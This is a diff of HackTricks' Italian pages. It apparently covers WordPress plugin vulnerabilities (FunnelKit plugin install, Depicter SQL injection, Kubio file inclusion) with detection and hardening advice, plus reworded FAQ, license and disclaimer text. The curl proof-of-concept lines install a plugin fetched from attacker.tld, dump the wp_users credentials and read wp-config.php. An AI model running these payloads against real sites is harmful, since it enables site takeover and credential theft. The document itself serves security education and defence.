| Nonces prevengono il CSRF, non l'autorizzazione. Se il codice interpreta il superamento di un nonce come via libera e poi salta i controlli di capability per operazioni privilegiate (es., install/activate plugins), attaccanti non autenticati possono soddisfare un requisito di nonce debole e ottenere RCE installando un plugin backdoored o vulnerabile. | ||||
| 
 | ||||
| - Vulnerable path: plugin/install_and_activate | ||||
| - Flaw: weak nonce hash check; no current_user_can('install_plugins'|'activate_plugins') once nonce “passes” | ||||
| - Impact: compromissione completa tramite installazione/attivazione arbitraria di plugin | ||||
| 
 | ||||
| PoC (la forma dipende dal plugin; solo illustrativo) | ||||
| ```bash | ||||
| curl -i -s -X POST https://victim.tld/wp-json/<fk-namespace>/plugin/install_and_activate \ | ||||
| -H 'Content-Type: application/json' \ | ||||
| --data '{"_nonce":"<weak-pass>","slug":"hello-dolly","source":"https://attacker.tld/mal.zip"}' | ||||
| ``` | ||||
| Checklist di rilevamento | ||||
| - REST/AJAX handlers che modificano plugin/theme con solo wp_verify_nonce()/check_admin_referer() e senza controllo di capability | ||||
| - Qualsiasi path di codice che imposti $skip_caps = true dopo la validazione del nonce | ||||
| 
 | ||||
| Rafforzamento | ||||
| - Considera sempre i nonces solo come CSRF tokens; applica i controlli di capability indipendentemente dallo stato del nonce | ||||
| - Richiedi current_user_can('install_plugins') e current_user_can('activate_plugins') prima di raggiungere il codice dell'installer | ||||
| - Rifiuta l'accesso non autenticato; evita di esporre azioni AJAX nopriv per flussi privilegiati | ||||
| 
 | ||||
| --- | ||||
| 
 | ||||
| ## SQLi non autenticato tramite il parametro s (search) nelle azioni depicter-* (Depicter Slider ≤ 3.6.1) | ||||
| 
 | ||||
| Diverse action depicter-* consumavano il parametro s (search) e lo concatenavano in query SQL senza parameterizzazione. | ||||
| 
 | ||||
| - Parameter: s (search) | ||||
| - Flaw: concatenazione diretta di stringhe nelle clausole WHERE/LIKE; assenza di prepared statements e sanitizzazione | ||||
| - Impact: esfiltrazione del database (utenti, hash), movimento laterale | ||||
| 
 | ||||
| PoC | ||||
| ```bash | ||||
| # Replace action with the affected depicter-* handler on the target | ||||
| curl -G "https://victim.tld/wp-admin/admin-ajax.php" \ | ||||
| --data-urlencode 'action=depicter_search' \ | ||||
| --data-urlencode "s=' UNION SELECT user_login,user_pass FROM wp_users-- -" | ||||
| ``` | ||||
| Checklist di rilevamento | ||||
| - Eseguire grep per depicter-* action handlers e l'uso diretto di $_GET['s'] o $_POST['s'] in SQL | ||||
| - Rivedere le query personalizzate passate a $wpdb->get_results()/query() che concatenano s | ||||
| 
 | ||||
| Rafforzamento | ||||
| - Usare sempre $wpdb->prepare() o i placeholder di wpdb; rifiutare metacaratteri inaspettati lato server | ||||
| - Aggiungere una allowlist rigorosa per s e normalizzare al charset/lunghezza attesi | ||||
| 
 | ||||
| --- | ||||
| 
 | ||||
| ## Unauthenticated Local File Inclusion via unvalidated template/file path (Kubio AI Page Builder ≤ 2.5.1) | ||||
| 
 | ||||
| Accettare percorsi controllati dall'attaccante in un parametro template senza normalizzazione/contenimento permette di leggere file locali arbitrari, e talvolta l'esecuzione di codice se file PHP/log includibili vengono caricati a runtime. | ||||
| 
 | ||||
| - Parameter: __kubio-site-edit-iframe-classic-template | ||||
| - Flaw: no normalization/allowlisting; traversal permitted | ||||
| - Impact: divulgazione di segreti (wp-config.php), possibile RCE in ambienti specifici (log poisoning, includable PHP) | ||||
| 
 | ||||
| PoC – leggere wp-config.php | ||||
| ```bash | ||||
| curl -i "https://victim.tld/?__kubio-site-edit-iframe-classic-template=../../../../wp-config.php" | ||||
| ``` | ||||
| Checklist di rilevamento | ||||
| - Qualsiasi handler che concatena path di richiesta in sink include()/require()/read senza verifica di containment con realpath() | ||||
| - Cerca pattern di traversal (../) che raggiungono al di fuori della directory templates prevista | ||||
| 
 | ||||
| Hardening | ||||
| - Forzare allowlisted templates; risolvere con realpath() e richiedere str_starts_with(realpath(file), realpath(allowed_base)) | ||||
| - Normalizzare l'input; rifiutare sequenze di traversal e percorsi assoluti; usare sanitize_file_name() solo per nomi di file (non per percorsi completi) | ||||
| 
 | ||||
| 
 | ||||
| ## Riferimenti | ||||
| 
 | ||||
| - [Unauthenticated Arbitrary File Deletion Vulnerability in Litho Theme](https://patchstack.com/articles/unauthenticated-arbitrary-file-delete-vulnerability-in-litho-the/) | ||||
| - [Multiple Critical Vulnerabilities Patched in WP Job Portal Plugin](https://patchstack.com/articles/multiple-critical-vulnerabilities-patched-in-wp-job-portal-plugin/) | ||||
| @ -714,5 +854,11 @@ Il server risponde con il contenuto di `wp-config.php`, leaking DB credentials a | ||||
| - [Hackers exploiting critical WordPress WooCommerce Payments bug](https://www.bleepingcomputer.com/news/security/hackers-exploiting-critical-wordpress-woocommerce-payments-bug/) | ||||
| - [Unpatched Privilege Escalation in Service Finder Bookings Plugin](https://patchstack.com/articles/unpatched-privilege-escalation-in-service-finder-bookings-plugin/) | ||||
| - [Service Finder Bookings privilege escalation – Patchstack DB entry](https://patchstack.com/database/wordpress/plugin/sf-booking/vulnerability/wordpress-service-finder-booking-6-0-privilege-escalation-vulnerability) | ||||
| - [Unauthenticated Broken Authentication Vulnerability in WordPress Jobmonster Theme](https://patchstack.com/articles/unauthenticated-broken-authentication-vulnerability-in-wordpress-jobmonster-theme/) | ||||
| - [Q3 2025’s most exploited WordPress vulnerabilities and how RapidMitigate blocked them](https://patchstack.com/articles/q3-2025s-most-exploited-wordpress-vulnerabilities-and-how-patchstacks-rapidmitigate-blocked-them/) | ||||
| - [OttoKit (SureTriggers) ≤ 1.0.82 – Privilege Escalation (Patchstack DB)](https://patchstack.com/database/wordpress/plugin/suretriggers/vulnerability/wordpress-suretriggers-1-0-82-privilege-escalation-vulnerability) | ||||
| - [FunnelKit Automations ≤ 3.5.3 – Unauthenticated arbitrary plugin installation (Patchstack DB)](https://patchstack.com/database/wordpress/plugin/wp-marketing-automations/vulnerability/wordpress-recover-woocommerce-cart-abandonment-newsletter-email-marketing-marketing-automation-by-funnelkit-plugin-3-5-3-missing-authorization-to-unauthenticated-arbitrary-plugin-installation-vulnerability) | ||||
| - [Depicter Slider ≤ 3.6.1 – Unauthenticated SQLi via s parameter (Patchstack DB)](https://patchstack.com/database/wordpress/plugin/depicter/vulnerability/wordpress-depicter-slider-plugin-3-6-1-unauthenticated-sql-injection-via-s-parameter-vulnerability) | ||||
| - [Kubio AI Page Builder ≤ 2.5.1 – Unauthenticated LFI (Patchstack DB)](https://patchstack.com/database/wordpress/plugin/kubio/vulnerability/wordpress-kubio-ai-page-builder-plugin-2-5-1-unauthenticated-local-file-inclusion-vulnerability) | ||||
| 
 | ||||
| {{#include ../../banners/hacktricks-training.md}} | ||||
|  | ||||
| @ -7,14 +7,14 @@ | ||||
| > [!TIP] | ||||
| > Questi sono i **valori del progetto HackTricks**: | ||||
| > | ||||
| > - Dare accesso **GRATUITO** a risorse di **EDUCATIONAL hacking** a **TUTTO** Internet. | ||||
| >  - L'hacking riguarda l'apprendimento, e l'apprendimento dovrebbe essere il più gratuito possibile. | ||||
| > - Dare accesso **GRATUITO** a risorse **EDUCATIVE di hacking** per **TUTTA** Internet. | ||||
| >  - L'hacking riguarda l'apprendimento, e l'apprendimento dovrebbe essere il più libero possibile. | ||||
| >  - Lo scopo di questo libro è servire come una **risorsa educativa** completa. | ||||
| > - **ARCHIVIARE** tecniche di **hacking** straordinarie che la community pubblica dando agli **AUTORI ORIGINALI** tutti i **crediti**. | ||||
| >  - **Non vogliamo i riconoscimenti di altre persone**, vogliamo solo conservare trucchi utili per tutti. | ||||
| > - **CONSERVARE** fantastiche tecniche di **hacking** che la community pubblica, dando agli **AUTORI ORIGINALI** tutti i **crediti**. | ||||
| >  - **Non vogliamo i meriti di altre persone**, vogliamo solo conservare trucchi interessanti per tutti. | ||||
| >  - Scriviamo anche le **nostre ricerche** in HackTricks. | ||||
| >  - In diversi casi scriveremo solo **su HackTricks un riassunto delle parti più importanti** della tecnica e **incoraggeremo il lettore a visitare il post originale** per maggiori dettagli. | ||||
| > - **ORGANIZZARE** tutte le tecniche di **hacking** nel libro così che sia **PIÙ ACCESSIBILE** | ||||
| >  - In diversi casi scriveremo solo **in HackTricks un riassunto delle parti importanti** della tecnica e **incoraggeremo il lettore a visitare il post originale** per maggiori dettagli. | ||||
| > - **ORGANIZZARE** tutte le tecniche di hacking nel libro così che siano **PIÙ ACCESSIBILI** | ||||
| >  - Il team di HackTricks ha dedicato migliaia di ore gratuitamente **solo per organizzare il contenuto** così le persone possano **imparare più velocemente** | ||||
| 
 | ||||
| <figure><img src="../images/hack tricks gif.gif" alt="" width="375"><figcaption></figcaption></figure> | ||||
| @ -26,14 +26,14 @@ | ||||
| > - **Grazie mille per queste risorse, come posso ringraziarvi?** | ||||
| 
 | ||||
| Puoi ringraziare pubblicamente il team di HackTricks per aver messo insieme tutte queste risorse con un tweet menzionando [**@hacktricks_live**](https://twitter.com/hacktricks_live).\ | ||||
| Se sei particolarmente grato puoi anche [**sponsorizzare il progetto qui**](https://github.com/sponsors/carlospolop).\ | ||||
| E non dimenticare di **mettere una stella ai progetti su Github!** (Trova i link qui sotto). | ||||
| Se sei particolarmente riconoscente puoi anche [**sponsorizzare il progetto qui**](https://github.com/sponsors/carlospolop).\ | ||||
| E non dimenticare di **mettere una stella ai progetti su Github!** (Trova i link sotto). | ||||
| 
 | ||||
| > [!TIP] | ||||
| > | ||||
| > - **Come posso contribuire al progetto?** | ||||
| 
 | ||||
| Puoi **condividere nuovi tips e tricks con la community o correggere bug** che trovi nei libri inviando una **Pull Request** alle rispettive pagine Github: | ||||
| Puoi **condividere nuovi suggerimenti e trucchi con la community o correggere bug** che trovi nei libri inviando una **Pull Request** alle rispettive pagine Github: | ||||
| 
 | ||||
| - [https://github.com/carlospolop/hacktricks](https://github.com/carlospolop/hacktricks) | ||||
| - [https://github.com/carlospolop/hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud) | ||||
| @ -42,16 +42,16 @@ Non dimenticare di **mettere una stella ai progetti su Github!** | ||||
| 
 | ||||
| > [!TIP] | ||||
| > | ||||
| > - **Posso copiare parte del contenuto di HackTricks e metterlo sul mio blog?** | ||||
| > - **Posso copiare del contenuto da HackTricks e metterlo sul mio blog?** | ||||
| 
 | ||||
| Sì, puoi, ma **non dimenticare di indicare il/i link specifico/i** da cui il contenuto è stato preso. | ||||
| Sì, puoi, ma **non dimenticare di menzionare il/i link specifici** da cui è stato preso il contenuto. | ||||
| 
 | ||||
| > [!TIP] | ||||
| > | ||||
| > - **Come posso citare una pagina di HackTricks?** | ||||
| 
 | ||||
| Finché appare il link della pagina (o delle pagine) da cui hai preso le informazioni, è sufficiente.\ | ||||
| Se hai bisogno di un bibtex puoi usare qualcosa del tipo: | ||||
| Finché appare il link **della** pagina(e) da cui hai preso l'informazione è sufficiente.\ | ||||
| Se hai bisogno di un bibtex puoi usare qualcosa del genere: | ||||
| ```latex | ||||
| @misc{hacktricks-bibtexing, | ||||
| author = {"HackTricks Team" or the Authors name of the specific page/trick}, | ||||
| @ -62,84 +62,82 @@ url = {\url{https://book.hacktricks.wiki/specific-page}}, | ||||
| ``` | ||||
| > [!WARNING] | ||||
| > | ||||
| > - **Posso copiare tutti i contenuti di HackTricks sul mio blog?** | ||||
| > - **Posso copiare tutti gli HackTricks nel mio blog?** | ||||
| > | ||||
| **Preferirei di no**. Questo **non gioverebbe a nessuno** dato che tutto il **contenuto è già pubblicamente disponibile** nei libri ufficiali di HackTricks gratuitamente. | ||||
| 
 | ||||
| **Preferirei di no**. Questo **non gioverebbe a nessuno** dato che tutto il **contenuto è già disponibile pubblicamente** nei libri ufficiali di HackTricks gratuitamente. | ||||
| 
 | ||||
| Se temi che possa scomparire, fai semplicemente un fork su Github o scaricalo; come ho detto è già gratuito. | ||||
| Se temi che possa scomparire, basta forkare su Github o scaricarlo; come detto, è già gratuito. | ||||
| 
 | ||||
| > [!WARNING] | ||||
| > | ||||
| > - **Perché avete sponsor? I libri HackTricks sono a scopo commerciale?** | ||||
| > - **Perché avete degli sponsor? I libri HackTricks hanno fini commerciali?** | ||||
| > | ||||
| Il primo **valore** di **HackTricks** è offrire risorse educative di hacking **GRATUITE** a **TUTTO** il mondo. Il team di HackTricks ha **dedicato migliaia di ore** per offrire questo contenuto, nuovamente, **GRATUITAMENTE**. | ||||
| 
 | ||||
| Il primo **valore** di **HackTricks** è offrire risorse educative di hacking **GRATUITE** a **TUTTO** il mondo. Il team di HackTricks ha **dedicato migliaia di ore** per offrire questo contenuto, ancora una volta, **GRATUITAMENTE**. | ||||
| Se pensi che i libri HackTricks siano creati per **fini commerciali** ti sbagli **COMPLETAMENTE**. | ||||
| 
 | ||||
| Se pensi che i libri HackTricks siano fatti a **scopo commerciale** ti sbagli **COMPLETAMENTE**. | ||||
| Abbiamo sponsor perché, anche se tutto il contenuto è **GRATUITO**, vogliamo dare alla **community la possibilità di apprezzare il nostro lavoro** se lo desidera. Pertanto offriamo alle persone l'opzione di donare a HackTricks tramite [**Github sponsors**](https://github.com/sponsors/carlospolop), e **aziende di cybersecurity rilevanti** possono sponsorizzare HackTricks e inserire **alcuni annunci** nel libro, posizionando gli **annunci** sempre in punti che li rendano **visibili** ma che **non disturbino il processo di apprendimento** se qualcuno si concentra sul contenuto. | ||||
| 
 | ||||
| Abbiamo sponsor perché, anche se tutto il contenuto è GRATUITO, vogliamo **offrire alla community la possibilità di apprezzare il nostro lavoro** se lo desiderano. Perciò, offriamo alle persone la possibilità di donare a HackTricks tramite [**Github sponsors**](https://github.com/sponsors/carlospolop), e **aziende di cybersecurity rilevanti** per sponsorizzare HackTricks e **avere qualche annuncio** nel libro, con gli **annunci** sempre posizionati in punti che li rendono **visibili** ma che **non disturbano il processo di apprendimento** se qualcuno si concentra sul contenuto. | ||||
| 
 | ||||
| Non troverai HackTricks pieno di annunci fastidiosi come altri blog con molto meno contenuto di HackTricks, perché HackTricks non è fatto a scopo commerciale. | ||||
| Non troverai HackTricks pieno di annunci fastidiosi come altri blog con molto meno contenuto, perché HackTricks non è fatto per fini commerciali. | ||||
| 
 | ||||
| > [!CAUTION] | ||||
| > | ||||
| > - **Cosa devo fare se qualche pagina di HackTricks è basata sul mio post del blog ma non è referenziata?** | ||||
| 
 | ||||
| **Ci dispiace molto. Questo non sarebbe dovuto accadere**. Per favore, faccelo sapere via Github issues, Twitter, Discord... il link della pagina HackTricks con il contenuto e il link del tuo blog e **verificheremo e lo aggiungeremo il prima possibile**. | ||||
| > - **Cosa devo fare se una pagina di HackTricks è basata su un mio post del blog ma non è referenziata?** | ||||
| > | ||||
| **Ci dispiace molto. Questo non dovrebbe essere successo**. Per favore, faccelo sapere tramite Github issues, Twitter, Discord... il link della pagina HackTricks con il contenuto e il link del tuo blog e **lo controlleremo e lo aggiungeremo il prima possibile**. | ||||
| 
 | ||||
| > [!CAUTION] | ||||
| > | ||||
| > - **Cosa devo fare se c'è contenuto del mio blog in HackTricks e non voglio che sia lì?** | ||||
| 
 | ||||
| > - **Cosa devo fare se c'è contenuto del mio blog in HackTricks e non voglio che ci sia?** | ||||
| > | ||||
| Nota che avere link alla tua pagina in HackTricks: | ||||
| 
 | ||||
| - Migliora la tua **SEO** | ||||
| - Il contenuto viene **tradotto in più di 15 lingue**, rendendo possibile a più persone accedere a questo contenuto | ||||
| - **HackTricks incoraggia** le persone a **controllare la tua pagina** (diverse persone ci hanno riferito che da quando una loro pagina è in HackTricks ricevono più visite) | ||||
| - Il contenuto viene **tradotto in più di 15 lingue** permettendo a più persone di accedere a quel contenuto | ||||
| - **HackTricks incoraggia** le persone a **visitare la tua pagina** (diverse persone ci hanno segnalato che da quando una loro pagina è su HackTricks ricevono più visite) | ||||
| 
 | ||||
| Tuttavia, se desideri comunque che il contenuto del tuo blog venga rimosso da HackTricks, faccelo sapere e provvederemo sicuramente a **rimuovere ogni link al tuo blog** e qualsiasi contenuto basato su di esso. | ||||
| Tuttavia, se vuoi comunque che il contenuto del tuo blog sia rimosso da HackTricks, comunicacelo e provvederemo sicuramente a **rimuovere ogni link al tuo blog**, e qualsiasi contenuto basato su di esso. | ||||
| 
 | ||||
| > [!CAUTION] | ||||
| > | ||||
| > - **Cosa devo fare se trovo contenuti copiati/incollati in HackTricks?** | ||||
| > | ||||
| Noi **diamo sempre tutti i crediti agli autori originali**. Se trovi una pagina con contenuti copiati senza la fonte originale referenziata, faccelo sapere e provvederemo o a **rimuoverla**, o a **inserire il link prima del testo**, o a **riscriverla aggiungendo il link**. | ||||
| 
 | ||||
| Diamo sempre **tutti i crediti agli autori originali**. Se trovi una pagina con contenuto copiato/incollato senza la fonte originale referenziata, faccelo sapere e provvederemo o a **rimuoverla**, o **aggiungere il link prima del testo**, o **riscriverla aggiungendo il link**. | ||||
| 
 | ||||
| ## LICENZA | ||||
| ## LICENSE | ||||
| 
 | ||||
| Copyright © Tutti i diritti riservati salvo diversa indicazione. | ||||
| 
 | ||||
| #### Riepilogo della licenza: | ||||
| #### Riassunto della licenza: | ||||
| 
 | ||||
| - Attribuzione: Sei libero di: | ||||
| - Condividere — copiare e ridistribuire il materiale in qualsiasi mezzo o formato. | ||||
| - Adattare — remixare, trasformare e sviluppare il materiale. | ||||
| - Share — copiare e ridistribuire il materiale in qualsiasi mezzo o formato. | ||||
| - Adapt — remixare, trasformare e creare opere derivate dal materiale. | ||||
| 
 | ||||
| #### Termini aggiuntivi: | ||||
| 
 | ||||
| - Contenuti di terze parti: Alcune parti di questo blog/libro possono includere contenuti provenienti da altre fonti, come estratti da altri blog o pubblicazioni. L'uso di tali contenuti viene effettuato secondo i principi del fair use o con il permesso esplicito dei rispettivi detentori del copyright. Si prega di fare riferimento alle fonti originali per informazioni specifiche sulla licenza riguardante contenuti di terze parti. | ||||
| - Autorialità: Il contenuto originale creato da HackTricks è soggetto ai termini di questa licenza. Sei incoraggiato ad attribuire questo lavoro all'autore quando lo condividi o lo adatti. | ||||
| - Third-Party Content: Alcune parti di questo blog/libro possono includere contenuti provenienti da altre fonti, come estratti da altri blog o pubblicazioni. L'uso di tali contenuti avviene sotto i principi del fair use o con il permesso esplicito dei rispettivi detentori dei diritti d'autore. Si prega di fare riferimento alle fonti originali per informazioni specifiche sulla licenza relative ai contenuti di terze parti. | ||||
| - Authorship: Il contenuto originale redatto da HackTricks è soggetto ai termini di questa licenza. Sei incoraggiato ad attribuire questo lavoro all'autore quando lo condividi o lo adatti. | ||||
| 
 | ||||
| #### Esenzioni: | ||||
| 
 | ||||
| - Uso commerciale: Per richieste relative all'uso commerciale di questo contenuto, contattami. | ||||
| - Commercial Use: Per richieste riguardanti l'uso commerciale di questo contenuto, contattami. | ||||
| 
 | ||||
| Questa licenza non concede alcun diritto sui marchi o sul branding in relazione al contenuto. Tutti i marchi e il branding presenti in questo blog/libro sono proprietà dei rispettivi proprietari. | ||||
| Questa licenza non concede alcun diritto relativo a marchi o branding in relazione al contenuto. Tutti i marchi e i brand presenti in questo blog/libro sono proprietà dei rispettivi proprietari. | ||||
| 
 | ||||
| **Accedendo o utilizzando HackTricks, accetti di rispettare i termini di questa licenza. Se non sei d'accordo con questi termini, per favore non accedere a questo sito.** | ||||
| 
 | ||||
| ## **Esclusione di responsabilità** | ||||
| 
 | ||||
| > [!CAUTION] | ||||
| > Questo libro, 'HackTricks', è destinato esclusivamente a scopi educativi e informativi. | ||||
| > Questo libro, 'HackTricks', è pensato esclusivamente per scopi educativi e informativi. Il contenuto di questo libro è fornito "così com'è", e gli autori e gli editori non forniscono alcuna dichiarazione o garanzia di alcun tipo, espressa o implicita, circa la completezza, accuratezza, affidabilità, idoneità o disponibilità delle informazioni, dei prodotti, dei servizi o delle immagini correlate contenute in questo libro. Qualsiasi affidamento su tali informazioni è quindi strettamente a tuo rischio. | ||||
| > | ||||
| > Il contenuto di questo libro è fornito 'così com'è', e gli autori e gli editori non rilasciano alcuna dichiarazione o garanzia di alcun tipo, espressa o implicita, riguardo alla completezza, accuratezza, affidabilità, idoneità o disponibilità delle informazioni, dei prodotti, dei servizi o delle grafiche correlate contenute in questo libro. Qualsiasi affidamento che fai su tali informazioni è quindi a tuo esclusivo rischio. | ||||
| > Gli autori e gli editori non saranno in alcun caso responsabili per qualsiasi perdita o danno, inclusi, senza limitazione, perdite o danni indiretti o consequenziali, o qualsiasi perdita o danno derivante da perdita di dati o profitti risultanti dall'uso di questo libro o in connessione con esso. | ||||
| > | ||||
| > Gli autori e gli editori non saranno in alcun caso responsabili per qualsiasi perdita o danno, inclusi, senza limitazione, perdite o danni indiretti o consequenziali, o qualsiasi perdita o danno derivante dalla perdita di dati o profitti derivanti da, o in connessione con, l'uso di questo libro. | ||||
| > Inoltre, le tecniche e i suggerimenti descritti in questo libro sono forniti a scopo educativo e informativo e non devono essere utilizzati per attività illegali o malevole. Gli autori e gli editori non approvano né supportano attività illegali o non etiche, e qualsiasi uso delle informazioni contenute in questo libro è a rischio e discrezione dell'utente. | ||||
| > | ||||
| > Inoltre, le tecniche e i consigli descritti in questo libro sono forniti a scopo educativo e informativo e non devono essere utilizzati per attività illegali o dannose. Gli autori e gli editori non avallano né supportano attività illegali o non etiche, e qualsiasi uso delle informazioni contenute in questo libro avviene a rischio e discrezione dell'utente. | ||||
| > L'utente è l'unico responsabile per qualsiasi azione intrapresa sulla base delle informazioni contenute in questo libro, e dovrebbe sempre cercare consulenza e assistenza professionale quando tenta di implementare qualsiasi tecnica o consiglio qui descritti. | ||||
| > | ||||
| > L'utente è l'unico responsabile per qualsiasi azione intrapresa sulla base delle informazioni contenute in questo libro e dovrebbe sempre cercare consulenza e assistenza professionale quando tenta di implementare una qualsiasi delle tecniche o dei consigli qui descritti. | ||||
| > | ||||
| > Utilizzando questo libro, l'utente accetta di sollevare gli autori e gli editori da qualsiasi responsabilità per danni, perdite o pregiudizi che possano derivare dall'uso di questo libro o di qualsiasi delle informazioni in esso contenute. | ||||
| > Utilizzando questo libro, l'utente accetta di sollevare gli autori e gli editori da qualsiasi e tutta responsabilità e responsabilità per eventuali danni, perdite o danni che potrebbero derivare dall'uso di questo libro o di qualsiasi informazione in esso contenuta. | ||||
| 
 | ||||
| {{#include ../banners/hacktricks-training.md}} | ||||
|  | ||||
		Loading…
	
	
			
			x
			
			
		
	
		Reference in New Issue
	
	Block a user